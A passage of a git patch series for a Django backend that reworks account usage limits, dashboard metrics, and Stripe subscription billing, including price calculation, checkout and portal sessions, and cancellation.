 
     # serialize and return
     serializer_context = {'request': request,}
@@ -487,61 +503,3 @@ def get_stripe_invoices(request: object) -> object:
     return Response(data, status=status.HTTP_200_OK)
 
 
-
-
-def reset_account_usage(account_id: str=None) -> None:
-    """ 
-    Loops through each active `Account`, checks to see
-    if timezone.today() is the start of the 
-    next billing cycle, and resets `Account.usage`
-
-    Expcets: {
-        'account_id': <str> (OPTIONAL)
-    }
-
-    Returns: None
-    """
-
-    # check for account_id
-    if account_id is not None:
-        accounts = [Account.objects.get(id=account_id)]
-    else:
-        # get all active accounts
-        accounts = Account.objects.filter(active=True)
-
-    # loop through each
-    for account in accounts:
-
-        # check if account is active and not free
-        if account.active and account.type != 'free':
-                
-            # get current date
-            today = datetime.today().strftime('%Y-%m-%d')
-            print(f'today -> {today}')
-
-            # get stripe sub
-            sub = stripe.Subscription.retrieve(
-                account.sub_id
-            )
-
-            # get and formate sub.current_peroid_start
-            sub_date = datetime.fromtimestamp(
-                sub.current_peroid_start
-            ).strftime('%Y-%m-%d')
-            print(f'sub_date -> {today}')
-
-            # reset accout usage if today is 
-            # begining of sub payment peroid
-            if today == sub_date:
-                
-                # reset account.ussage
-                create_or_update_account(
-                    id=account.id,
-                    scans=0,
-                    tests=0,
-                    testcases=0
-                )
-
-    return None
-
-
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index ccd5fdb0..1fbc36ac 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -249,17 +249,11 @@ def check_account_and_resource(
         # checking testcases
         if resource == 'testcase':
             if not testcase_id and action == 'add':
-                if not account.testcases:
+                if not check_resource(account, 'testcases'):
                     allowed = False
-                    error = 'testcases not allowed, please upgrade'
+                    error = 'max testcases reached'
                     _status = status.HTTP_402_PAYMENT_REQUIRED
                     code = '402'
-                else:
-                    if not check_and_increment_resource(account, 'testcases'):
-                        allowed = False
-                        error = 'max testcases reached'
-                        _status = status.HTTP_402_PAYMENT_REQUIRED
-                        code = '402'
             if testcase_id:
                 if not Testcase.objects.filter(id=testcase_id, account=account).exists():
                     allowed = False
@@ -318,7 +312,7 @@ def check_account_and_resource(
         # checking scans
         if resource == 'scan':
             if not scan_id and action == 'add':
-                if not check_and_increment_resource(account, 'scan'):
+                if not check_resource(account, 'scans'):
                     allowed = False
                     error = 'max scans reached'
                     _status = status.HTTP_402_PAYMENT_REQUIRED
@@ -333,7 +327,7 @@ def check_account_and_resource(
         # checking tests
         if resource == 'test':
             if not test_id and action == 'add':
-                if not check_and_increment_resource(account, 'test'):
+                if not check_resource(account, 'tests'):
                     allowed = False
                     error = 'max tests reached'
                     _status = status.HTTP_402_PAYMENT_REQUIRED
@@ -390,32 +384,28 @@ def check_account_and_resource(
 
 
 
-    def check_and_increment_resource(account: object, resource: str) -> bool:
-        """ 
-        Adds 1 to the Account.usage.{resource} if 
-        {resource}_allowed has not been reached.
+def check_resource(account: object, resource: str) -> bool:
+    """ 
+    Validates if account can add a new {resource} 
 
-        Expcets: {
-            'account'  : <object>,
-            'resource' : <str> 'scan', 'test', or 'testcase
-        }
+    Expcets: {
+        'account'  : <object>,
+        'resource' : <str> 'scan', 'test', or 'testcase
+    }
 
-        Returns: Bool, True if resource was incremented.
-        """
+    Returns: Bool, True if resource was incremented.
+    """
 
-        # define defaults
-        success = False
+    # define defaults
+    success = False
 
-        # check allowance
-        if (int(account.usage[resource]) + 1) <= int(account.usage[f'{resource}s_allowed']):
-            
-            # increment and update success
-            account.usage[resource] = 1 + int(account.usage[resource])
-            account.save()
-            success = True
+    # check allowance
+    if (int(account.usage[f'{resource}']) + 1) <= int(account.usage[f'{resource}_allowed']):
+        # update success
+        success = True
 
-        # return response
-        return success
+    # return response
+    return success
 
 
 
@@ -722,6 +712,13 @@ def delete_site(request: object, id: str) -> object:
     
     # remove any associated tasks 
     delete_tasks(site=site)
+
+    # remove any associated Issues
+    issues = Issue.objects.filter(
+        affected__icontains=id
+    )
+    for issue in issues:
+        issue.delete()
     
     # remove site
     site.delete()
@@ -1225,6 +1222,13 @@ def delete_page(request: object, id: str) -> object:
 
     # remove any schedules and associated tasks
     delete_tasks(page=page)
+
+    # remove any associated Issues
+    issues = Issue.objects.filter(
+        affected__icontains=id
+    )
+    for issue in issues:
+        issue.delete()
     
     # remove page
     page.delete()
@@ -1481,6 +1485,10 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
                 return Response(data, status=check_data['status'])
             return data
 
+        # increment account.usage.scans
+        account.usage['scans'] += 1
+        account.save() 
+
         # creating scan obj
         created_scan = Scan.objects.create(
             site=p.site,
@@ -1508,7 +1516,6 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
         if 'vrt' in types or 'full' in types:
             run_vrt_bg.delay(scan_id=created_scan.id)
     
-
     # returning dynaminc response
     data = {
         'success': True,
@@ -2150,6 +2157,10 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
         # add test.id to list
         created_tests.append(str(test.id))
 
+        # update account.usage.tests
+        account.usage['tests'] += 1
+        account.save()
+
         # running test in background
         create_test_bg.delay(
             page_id=p.id,
@@ -3396,10 +3407,20 @@ def delete_tasks(page: object=None, site: object=None) -> None:
     """ 
 
     # get any schedules
+    schedules = []
+    
+    # get all page scopped Schedules
     if page:
-        schedules = Schedule.objects.filter(page=page)
+        schedules += Schedule.objects.filter(page=page)
+    
+    # get all site & page scopped Schedules
     if site:
-        schedules = Schedule.objects.filter(site=site)
+        # get site scopped
+        schedules += Schedule.objects.filter(site=site)
+        # iterate over each site associated page and to schedules[]
+        pages = Page.objects.filter(site=site)
+        for p in pages:
+            schedules += Schedule.objects.filter(page=p)
 
     # remove any associated tasks
     for schedule in schedules:
@@ -5021,6 +5042,7 @@ def search_resources(request: object) -> object:
     cases = []
     pages = []
     sites = []
+    issues = []
 
     # check for object specification i.e 'site:', 'case:', 'issue:'
     resource_type = query.replace('https://', '').replace('http://', '').split(':')[0]
@@ -5047,7 +5069,7 @@ def search_resources(request: object) -> object:
     # search for issues
     if resource_type == 'issue' or resource_type == query:
         issues = Issue.objects.filter(account=account).filter(
-            name__icontains=query
+            title__icontains=query
         )
 
     # adding first several sites if present
@@ -5129,36 +5151,44 @@ def get_home_metrics(request: object) -> object:
     issues = Issue.objects.filter(account=account, status='open')
     
     # setting defaults
-    site_count = sites.count()
-    issues_count = issues.count()
-    test_count = 0
-    scan_count = 0
-    schedule_count = 0
-    
+    issues = issues.count()
+    tests = account.usage['tests']
+    scans = account.usage['scans']
+    testcases = account.usage['testcases']
+    schedules = 0
+
     # calculating metrics
     for site in sites:
-        tests = Test.objects.filter(site=site)
-        scans = Scan.objects.filter(site=site)
-        schedules = Schedule.objects.filter(site=site)
-        test_count = test_count + tests.count()
-        scan_count = scan_count + scans.count()
-        schedule_count = schedule_count + schedules.count()
+        schedules += Schedule.objects.filter(site=site).count()
 
         # getting associated pages
         pages = Page.objects.filter(site=site)
 
         # adding page scoped schedules 
         for page in pages:
-            schedules = Schedule.objects.filter(page=page)
-            schedule_count = schedule_count + schedules.count()
-
+            schedules += Schedule.objects.filter(page=page).count()
+
+    # calculate usages
+    sites = sites.count()
+    sites_usage = round((sites/account.max_sites)*100, 2) if sites > 0 else 0
+    schedule_usage = round((schedules/account.max_schedules)*100, 2) if schedules > 0 else 0
+    scans_usage = round((scans/account.usage['scans_allowed'])*100, 2) if scans > 0 else 0
+    tests_usage = round((tests/account.usage['tests_allowed'])*100, 2) if tests > 0 else 0
+    testcases_usage = round((testcases/account.usage['testcases_allowed'])*100, 2) if testcases > 0 else 0
+    
     # format data
     data = {
-        "sites": site_count, 
-        "tests": test_count,
-        "scans": scan_count,
-        "schedules": schedule_count,
-        "open_issues": issues_count,
+        "sites": sites, 
+        "sites_usage": sites_usage,
+        "tests": tests,
+        "tests_usage": tests_usage,
+        "scans": scans,
+        "scans_usage": scans_usage,
+        "schedules": schedules,
+        "schedules_usage": schedule_usage,
+        "testcases": testcases,
+        "testcases_usage": testcases_usage,
+        "open_issues": issues,
     }
     
     # return response
@@ -5186,29 +5216,40 @@ def get_site_metrics(request: object) -> object:
     account = Member.objects.get(user=user).account
     site_id = request.query_params.get('site_id')
     site = Site.objects.get(id=site_id)
+    max_sites = account.max_sites
     pages = Page.objects.filter(site=site)
 
     # setting detaults
-    page_count = pages.count()
-    test_count = 0
-    scan_count = 0
-    schedule_count = Schedule.objects.filter(site=site).count()
+    testcases = round(account.usage['testcases'] / max_sites) if account.usage['testcases'] > 0 else 0
+    tests = round(account.usage['tests'] / max_sites) if account.usage['tests'] > 0 else 0
+    scans = round(account.usage['scans'] / max_sites) if account.usage['scans'] > 0 else 0
+    schedules = Schedule.objects.filter(site=site).count()
 
-    # calculating metrics
+    # calculating page scoped schedules
     for page in pages:
-        tests = Test.objects.filter(page=page)
-        scans = Scan.objects.filter(page=page)
-        schedules = Schedule.objects.filter(page=page)
-        test_count = test_count + tests.count()
-        scan_count = scan_count + scans.count()
-        schedule_count = schedule_count + schedules.count()
+        schedules += Schedule.objects.filter(page=page).count()
+    
+    # calculate usage
+    pages = pages.count()
+    pages_usage = round((pages/account.max_pages)*100, 2) if pages > 0 else 0
+    scans_usage = round((scans/round(account.usage['scans_allowed']/max_sites))* 100, 2) if scans > 0 else 0
+    tests_usage = round((tests/round(account.usage['tests_allowed']/max_sites))* 100, 2) if tests > 0 else 0
+    testcases_usage = round((testcases/round(account.usage['testcases_allowed']/max_sites))* 100, 2) if testcases > 0 else 0
+    schedules_usage = round((schedules/round(account.max_schedules/max_sites))*100, 2) if schedules > 0 else 0
+
 
     # format data
     data = {
-        "pages": page_count, 
-        "tests": test_count,
-        "scans": scan_count,
-        "schedules": schedule_count,
+        "pages": pages, 
+        "pages_usage": pages_usage, 
+        "tests": tests,
+        "tests_usage": tests_usage,
+        "scans": scans,
+        "scans_usage": scans_usage,
+        "schedules": schedules,
+        "schedules_usage": schedules_usage,
+        "testcases": testcases,
+        "testcases_usage": testcases_usage,
     }
 
     # return response

From 0d9a7862948b561f87140183b9c772e839587188 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 9 Aug 2024 16:14:20 -0600
Subject: [PATCH 640/752] fixing usage defaults

---
 app/api/models.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/models.py b/app/api/models.py
index df81e99f..bcf8565f 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -268,6 +268,7 @@ def get_usage_default():
         'tests_allowed': 30, 
         'testcases_allowed': 15,
     }
+    return usage
 
 
 

From cc7a4748a6b08a96fe014ef3b1b86d937c950091 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 9 Aug 2024 16:21:56 -0600
Subject: [PATCH 641/752] fixed small typo

---
 app/api/v1/ops/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 1fbc36ac..c9282ee9 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -5114,7 +5114,7 @@ def search_resources(request: object) -> object:
     while i <= max_issues and i <= (len(issues)-1):
         data.append({
             'name': str(issues[i].title),
-            'path': f'/issue/{issue[i].id}',
+            'path': f'/issue/{issues[i].id}',
             'id'  : str(issues[i].id),
             'type': 'issue',
         })

From 9296683e45f64f67dca88afaf252b37c30d1024c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 9 Aug 2024 16:25:59 -0600
Subject: [PATCH 642/752] fixed issue search by site str

---
 app/api/v1/ops/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index c9282ee9..0b7523ff 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2879,7 +2879,7 @@ def search_issues(request: object) -> object:
     issues = Issue.objects.filter(
         Q(account=account, title__icontains=query) |
         Q(account=account, details__icontains=query) |
-        Q(account=account, affected__icontains={'str':query})
+        Q(account=account, affected__icontains=query)
     ).order_by('-status', '-time_created')
     
     # serialize and rerturn

From 18fe7f51e0f58ae967f2491d8733310bdca976e6 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 12 Aug 2024 15:50:59 -0600
Subject: [PATCH 643/752] adding better controls for enterprise billing

---
 app/api/models.py              |   1 -
 app/api/tasks.py               |  85 +++++++++++
 app/api/v1/auth/serializers.py |   2 +-
 app/api/v1/auth/services.py    |   8 +
 app/api/v1/billing/services.py | 269 ++++++++++++++++++++++++++++-----
 app/api/v1/billing/urls.py     |  16 +-
 app/api/v1/billing/views.py    |  31 +++-
 app/api/v1/ops/services.py     |  85 ++++++++---
 8 files changed, 426 insertions(+), 71 deletions(-)

diff --git a/app/api/models.py b/app/api/models.py
index bcf8565f..236eaa23 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -288,7 +288,6 @@ class Account(models.Model):
     retention_days = models.IntegerField(serialize=True, null=True, blank=True, default=3)
     cust_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     sub_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
-    sub_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     product_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     price_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     price_amount = models.IntegerField(serialize=True, null=True, blank=True, default=0)
diff --git a/app/api/tasks.py b/app/api/tasks.py
index a0e34f9d..07bf977e 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -1180,6 +1180,91 @@ def reset_usage(account):
 
 
 
+@shared_task
+def update_sub_price(account_id: str=None, max_sites: int=None) -> None:
+    """ 
+    Update price for existing stripe Subscription 
+    based on new `Account.max_sites`
+
+    Expects: {
+        'account_id'   : <str> (REQUIRED)   
+        'max_sites' : <int> (OPTIONAL)   
+    }
+
+    Returns: None
+    """
+
+    # init Stripe client
+    stripe.api_key = settings.STRIPE_PRIVATE
+
+    # get account
+    account = Account.objects.get(id=account_id)
+
+    # set new max_sites
+    if max_sites is not None:
+        account.max_sites = max_sites
+        account.save()
+    
+    # get max_sites
+    if max_sites is None:
+        max_sites = account.max_sites
+
+    # get account coupon
+    discount = 1
+    if account.meta.get('coupon'):
+        discount = account.meta['coupon']['discount']
+        if discount != 1:
+            discount = 1-discount
+
+    # calculate 
+    price_amount = (
+        (
+            (-0.0003 * (max_sites ** 2)) + 
+            (1.5142 * max_sites) + 325.2
+        ) * 100
+    )
+
+    # apply discount
+    price = round(price - (price * discount))
+
+    # create new Stripe Price 
+    price = stripe.Price.create(
+        product=account.product_id,
+        unit_amount=price_amount,
+        currency='usd',
+        recurring={'interval': account.interval,},
+    )
+
+    # update Stripe Subscription
+    sub = stripe.Subscription.retrieve(account.sub_id)
+    stripe.Subscription.modify(
+        account.sub_id,
+        cancel_at_period_end=False,
+        pause_collection='',
+        proration_behavior='create_prorations',
+        items=[{
+            'id': sub['items']['data'][0].id,
+            'price': price.id,
+        }],
+        expand=['latest_invoice.payment_intent'],
+    )
+
+    # updating price defaults and archiving old price
+    stripe.Product.modify(account.product_id, default_price=price,)
+    stripe.Price.modify(account.price_id, active=False)
+
+    # update account with new info
+    account.price_id = price.id
+    account.price_amount = 0
+    account.save()
+    account.price_amount = price_amount
+    account.save()
+
+    print(f'new price -> {price_amount}')
+    
+    # return 
+    return None
+
 
 
 
diff --git a/app/api/v1/auth/serializers.py b/app/api/v1/auth/serializers.py
index 0dddbb2e..8ffc54e3 100644
--- a/app/api/v1/auth/serializers.py
+++ b/app/api/v1/auth/serializers.py
@@ -80,7 +80,7 @@ class AccountSerializer(serializers.HyperlinkedModelSerializer):
     class Meta:
         model = Account
         fields = ['id', 'active', 'time_created', 'type', 'phone', 
-        'cust_id', 'sub_id', 'sub_url', 'product_id', 'price_id', 'slack',
+        'cust_id', 'sub_id', 'product_id', 'price_id', 'slack',
         'user', 'code', 'name', 'price_amount', 'max_sites', 
         'max_pages', 'max_schedules', 'retention_days',
         'configs', 'meta', 'usage',
diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 5bdc2e44..bf719008 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -626,6 +626,8 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
         sub_id = request.data.get('sub_id')
         product_id = request.data.get('product_id')
         price_id = request.data.get('price_id')
+        price_amount = request.data.get('price_amount')
+        interval = request.data.get('interval')
         scans_allowed = request.data.get('scans_allowed')
         tests_allowed = request.data.get('tests_allowed')
         testcases_allowed = request.data.get('testcases_allowed')
@@ -653,6 +655,8 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
         sub_id = kwargs.get('sub_id')
         product_id = kwargs.get('product_id')
         price_id = kwargs.get('price_id')
+        price_amount = kwargs.get('price_amount')
+        interval = kwargs.get('interval')
         scans_allowed = kwargs.get('scans_allowed')
         tests_allowed = kwargs.get('tests_allowed')
         testcases_allowed = kwargs.get('testcases_allowed')
@@ -700,6 +704,10 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
             account.product_id = product_id
         if price_id is not None:
             account.price_id = price_id
+        if price_amount is not None:
+            account.price_amount = price_amount
+        if interval is not None:
+            account.interval = interval
         if scans_allowed is not None:
             account.usage['scans_allowed'] = scans_allowed
         if tests_allowed is not None:
diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index 1bd7b803..c2690f60 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -57,7 +57,6 @@ def stripe_setup(request: object) -> object:
     max_pages = int(request.data.get('max_pages'))
     max_schedules = int(request.data.get('max_schedules'))
     retention_days = int(request.data.get('retention_days'))
-    testcases = str(request.data.get('testcases', 'False'))
     scans_allowed = int(request.data.get('scans_allowed'))
     tests_allowed = int(request.data.get('tests_allowed'))
     testcases_allowed = int(request.data.get('testcases_allowed'))
@@ -73,12 +72,6 @@ def stripe_setup(request: object) -> object:
     # build Stripe Product name
     product_name = f'{user.email}_{user.id}_{name}'
 
-    # format testcase data
-    if str(testcases).lower() == 'true':
-        testcases = True
-    if str(testcases).lower() == 'false':
-        testcases = False
-
     # create new `Account` if none exists
     if not Account.objects.filter(user=user).exists():
         create_or_update_account(
@@ -88,16 +81,10 @@ def stripe_setup(request: object) -> object:
             max_sites=max_sites,
             max_pages=max_pages,
             max_schedules=max_schedules,
-            retention_days=retention_days,
-            testcases=testcases, 
-            usage={
-                'scans': 0,
-                'tests': 0,
-                'testcases': 0,
-                'scans_allowed': scans_allowed if scans_allowed is not None else 30, 
-                'tests_allowed': tests_allowed if tests_allowed is not None else 30, 
-                'testcases_allowed': testcases_allowed if testcases_allowed is not None else 15,
-            },
+            retention_days=retention_days, 
+            scans_allowed=scans_allowed if scans_allowed is not None else 30, 
+            tests_allowed=tests_allowed if tests_allowed is not None else 30, 
+            testcases_allowed=testcases_allowed if testcases_allowed is not None else 15,
             meta=meta
         )
 
@@ -172,7 +159,6 @@ def stripe_setup(request: object) -> object:
         price_amount = price_amount,
         max_schedules = max_schedules,
         retention_days = retention_days,
-        testcases = testcases,
         scans_allowed = scans_allowed,
         tests_allowed = tests_allowed,
         testcases_allowed = testcases_allowed,
@@ -280,6 +266,213 @@ def stripe_complete(request: object) -> object:
 
 
 
+def calc_price(account: object=None) -> int:
+    """ 
+    Calculates a `price` based on `Account.max_sites` 
+    and any `Account.meta.coupon` data.
+
+    Expects: {
+        'account': <object> (REQUIRED)
+    } 
+    
+    Returns: 'price_amount' <int>
+    """
+    
+    # get max_sites
+    max_sites = account.max_sites
+
+    # get account coupon
+    discount = 1
+    if account.meta.get('coupon'):
+        discount = account.meta['coupon']['discount']
+    
+    # calculate 
+    price = (
+        (
+            (-0.0003 * (max_sites ** 2)) + 
+            (1.5142 * max_sites) + 325.2
+        ) * 100
+    )
+
+    # apply discount
+    price = price - (price * discount)
+
+    # return price
+    return int(price)
+
+
+
+
+def get_stripe_hosted_url(request: object=None) -> object:
+    """ 
+    Creates either a new 'Stripe Checkout Session' 
+    (allows customer to subscribe), or a 'Stripe Customer 
+    Portal Session' (allows customer to manage existing subscription).
+    Either session type with return a Stripe redirect url
+
+    Expects: {
+        'request' : <object> (REQUIRED)
+    }
+    
+    Returns -> data: {
+        'stripe_url': <str>
+    }
+    """
+
+    # get account
+    user = request.user
+    account = Account.objects.get(user=user)
+
+    # set default url
+    stripe_url = None
+    
+    # create Product, Price, & Checkout Session
+    if account.cust_id is None:
+
+        # build product
+        product_name = f'{user.email}_{user.id}_enterprise'
+        product = stripe.Product.create(name=product_name)
+
+        # calc price_amount
+        price_amount = calc_price(account=account)
+        
+        # create new Stripe Price 
+        price = stripe.Price.create(
+            product=product.id,
+            unit_amount=price_amount,
+            currency='usd',
+            recurring={'interval': account.interval,},
+        )
+
+        # create Checkout Session
+        checkout_session = stripe.checkout.Session.create(
+            line_items=[
+                {
+                    'price': price.id,
+                    'quantity': 1,
+                },
+            ],
+            mode='subscription',
+            success_url=f'{settings.CLIENT_URL_ROOT}/billing/update' +
+            '?success=true&session_id={CHECKOUT_SESSION_ID}',
+            cancel_url=f'{settings.CLIENT_URL_ROOT}/billing',
+        )
+
+        # setting stripe_url 
+        stripe_url = checkout_session.url
+    
+    # create Portal Session
+    if account.cust_id:
+        portal_session = stripe.billing_portal.Session.create(
+            customer=account.cust_id,
+            return_url=f'{settings.CLIENT_URL_ROOT}/billing/update',
+        )
+
+        # setting stripe_url 
+        stripe_url = portal_session.url
+
+    # return response
+    data = {'stripe_url': stripe_url}
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+def update_account_with_stripe_redirect(request: object=None) -> object:
+    """ 
+    Updates `Account` with new sub data from stripe redirect
+
+    Expects: {
+        'request' : <object> (REQUIRED)
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get account
+    account = Account.objects.get(user=request.user)
+    cust_id = account.cust_id
+    sub_id = account.sub_id
+
+    # try to get session_id
+    session_id = request.query_params.get('session_id')
+
+    # if session_id - get customer, subscription
+    if session_id:
+        session = stripe.checkout.Session.retrieve(
+            session_id
+        )
+        cust_id = session.customer
+        sub_id = session.subscription
+
+    # get current stripe sub object
+    sub = stripe.Subscription.retrieve(
+        sub_id
+    )
+
+    # get stripe product & price info
+    plan = sub['items']['data'][0]['plan']
+    product_id = plan['product']
+    price_id = plan['id']
+    price_amount = plan['amount']
+    interval = plan['interval']
+
+    # setting Account.active
+    active = False if (sub['canceled_at'] or sub['pause_collection']) else True
+    
+    # get billing method info
+    pay_method_id = sub.default_payment_method
+    pay_method = stripe.PaymentMethod.retrieve(
+        pay_method_id
+    )
+
+    # create or update Account card
+    if not Card.objects.filter(account=account).exists():
+        Card.objects.create(
+            user            = request.user,
+            account         = account,
+            pay_method_id   = pay_method.id,
+            brand           = pay_method.card.brand,
+            exp_year        = pay_method.card.exp_year,
+            exp_month       = pay_method.card.exp_month,
+            last_four       = pay_method.card.last4
+        )
+    else:
+        Card.objects.filter(account=account).update(
+            user            = request.user,
+            account         = account,
+            pay_method_id   = pay_method.id,
+            brand           = pay_method.card.brand,
+            exp_year        = pay_method.card.exp_year,
+            exp_month       = pay_method.card.exp_month,
+            last_four       = pay_method.card.last4
+        )
+
+    # update `Account` with new Stripe info
+    create_or_update_account(
+        user         = request.user.id,
+        id           = account.id,
+        cust_id      = cust_id,
+        sub_id       = sub_id,
+        product_id   = product_id,
+        price_id     = price_id,
+        price_amount = price_amount,
+        interval     = interval,
+    )
+    
+    # equeting account data deletion
+    if not active:
+        cancel_subscription(account=account)
+
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = AccountSerializer(account, context=serializer_context)
+    data = serialized.data
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
 def get_billing_info(request: object) -> object: 
     """ 
     Gets the `Card`, `Account`, and slack info associated
@@ -287,6 +480,7 @@ def get_billing_info(request: object) -> object:
 
     Expects: {
         'request' : <object> (REQUIRED)
+    }
     
     Returns -> HTTP Response object
     """
@@ -322,7 +516,6 @@ def get_billing_info(request: object) -> object:
             'retention_days': account.retention_days,
             'usage': account.usage,
             'meta': account.meta,
-            'sub_url': account.sub_url
         },
     }
     
@@ -380,31 +573,33 @@ def account_activation(request: object) -> object:
 
 
 
-def cancel_subscription(request: object) -> object:
+def cancel_subscription(request: object=None, account: object=None) -> object:
     """ 
     Cancels the Stripe Subscription associated with the
     passed "user" and reverts the `Account` to a "free" plan
     
     Expects: {
-        'request': object
+        'request': object (OPTIONAL)
+        'account': object (OPTIONAL)
     }
 
-    Returns -> `Account` HTTP Response object
+    Returns -> `Account` HTTP Response object or Bool `true`
     """
 
     # get user's account
-    account = Account.objects.get(user=request.user)
+    if request is not None:
+        account = Account.objects.get(user=request.user)
 
     # update billing if accout is active
     if account.active == True:
 
-        # pause Stripe Subscription billing
-        stripe.Subscription.modify(
-            account.sub_id,
-            pause_collection={
-                'behavior': 'mark_uncollectible',
-            },
-        )
+        # canceling Stripe Subscription billing
+        try:
+            stripe.Subscription.cancel(
+                account.sub_id,
+            )
+        except Exception as e:
+            print(e)
 
         # update Account plan
         account.type = 'free'
@@ -438,7 +633,7 @@ def cancel_subscription(request: object) -> object:
     # remove sites
     sites = Site.objects.filter(account=account)
     for site in sites:
-        delete_site(request=request, id=site.id)
+        delete_site(id=site.id, account=account)
     
     # remove issues
     issues = Issue.objects.filter(account=account)
@@ -446,10 +641,14 @@ def cancel_subscription(request: object) -> object:
         issue.delete()
 
     # serialize and return
-    serializer_context = {'request': request,}
-    serialized = AccountSerializer(account, context=serializer_context)
-    data = serialized.data
-    return Response(data, status=status.HTTP_200_OK)
+    if request is not None:
+        serializer_context = {'request': request,}
+        serialized = AccountSerializer(account, context=serializer_context)
+        data = serialized.data
+        return Response(data, status=status.HTTP_200_OK)
+    else:
+        return True
+
 
 
 
diff --git a/app/api/v1/billing/urls.py b/app/api/v1/billing/urls.py
index 7b266d46..8d558fc6 100644
--- a/app/api/v1/billing/urls.py
+++ b/app/api/v1/billing/urls.py
@@ -7,11 +7,13 @@
 
 
 urlpatterns = [
-    path('setup-subscription', views.SetupSubscription.as_view(), name='setup_subscription'),
-    path('complete-subscription', views.CompleteSubscription.as_view(), name='complete_subscription'),
-    path('cancel-subscription', views.CancelSubscription.as_view(), name='cancel_subscription'),
-    path('stripe-key', views.StripeKey.as_view(), name='stripe_key'),
-    path('get-info', views.GetBillingInfo.as_view(), name='get_billing_info'),
-    path('get-invoices', views.StripeInvoice.as_view(), name='stripe_invoices'),
-    path('account-activation', views.AccountActivation.as_view(), name='account_activation')
+    path('stripe/key', views.StripeKey.as_view(), name='stripe_key'),
+    path('invoices', views.StripeInvoice.as_view(), name='stripe_invoices'),
+    path('info', views.BillingInfo.as_view(), name='billing_info'),
+    path('subscription/setup', views.SubscriptionSetup.as_view(), name='subscription_setup'),
+    path('subscription/complete', views.SubscriptionComplete.as_view(), name='subscription_complete'),
+    path('subscription/cancel', views.SubscriptionCancel.as_view(), name='subscription_cancel'),
+    path('subscription/update', views.SubscriptionUpdate.as_view(), name='subscription_update'),
+    path('subscription/url', views.SubscriptionUrl.as_view(), name='subscription_url'),
+    path('account/activation', views.AccountActivation.as_view(), name='account_activation')
 ]
diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py
index dfbe9eaf..2ab6f0c1 100644
--- a/app/api/v1/billing/views.py
+++ b/app/api/v1/billing/views.py
@@ -21,7 +21,7 @@ def post(self, request):
 
 
 
-class SetupSubscription(APIView):
+class SubscriptionSetup(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
@@ -32,7 +32,7 @@ def post(self, request):
 
 
 
-class CompleteSubscription(APIView):
+class SubscriptionComplete(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
@@ -43,7 +43,29 @@ def post(self, request):
 
 
 
-class GetBillingInfo(APIView):
+class SubscriptionUrl(APIView):
+    permission_classes = (IsAuthenticated,)
+    https_method_names = ['get',]
+
+    def get(self, request):
+        response = get_stripe_hosted_url(request)
+        return response
+
+
+
+
+class SubscriptionUpdate(APIView):
+    permission_classes = (IsAuthenticated,)
+    https_method_names = ['get',]
+
+    def get(self, request):
+        response = update_account_with_stripe_redirect(request)
+        return response
+
+
+
+
+class BillingInfo(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
@@ -65,7 +87,7 @@ def post(self, request):
 
 
 
-class CancelSubscription(APIView):
+class SubscriptionCancel(APIView):
     permission_classes = (IsAuthenticated,)
     https_method_names = ['post',]
 
@@ -86,3 +108,4 @@ def get(self, request):
 
 
 
+
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 0b7523ff..10f5c3ce 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -177,13 +177,6 @@ def check_account_and_resource(
         
         # checking sites
         if resource == 'site':
-            if not site_id:
-                current_count = Site.objects.filter(account=account).count()
-                if current_count >= account.max_sites and action == 'add' and (account.type != 'custom' and account.type != 'enterprise'):
-                    allowed = False
-                    error = 'max sites reached'
-                    _status = status.HTTP_402_PAYMENT_REQUIRED
-                    code = '402'
             if site_id:
                 if not Site.objects.filter(id=site_id, account=account).exists():
                     allowed = False
@@ -191,33 +184,47 @@ def check_account_and_resource(
                     _status = status.HTTP_404_NOT_FOUND
                     code = '404'
             if site_url:
-                if not Site.objects.filter(site_url=site_url, account=account).exists():
+                current_count = Site.objects.filter(account=account).count()
+                if Site.objects.filter(site_url=site_url, account=account).exists():
                     allowed = False
                     error = 'site already exists'
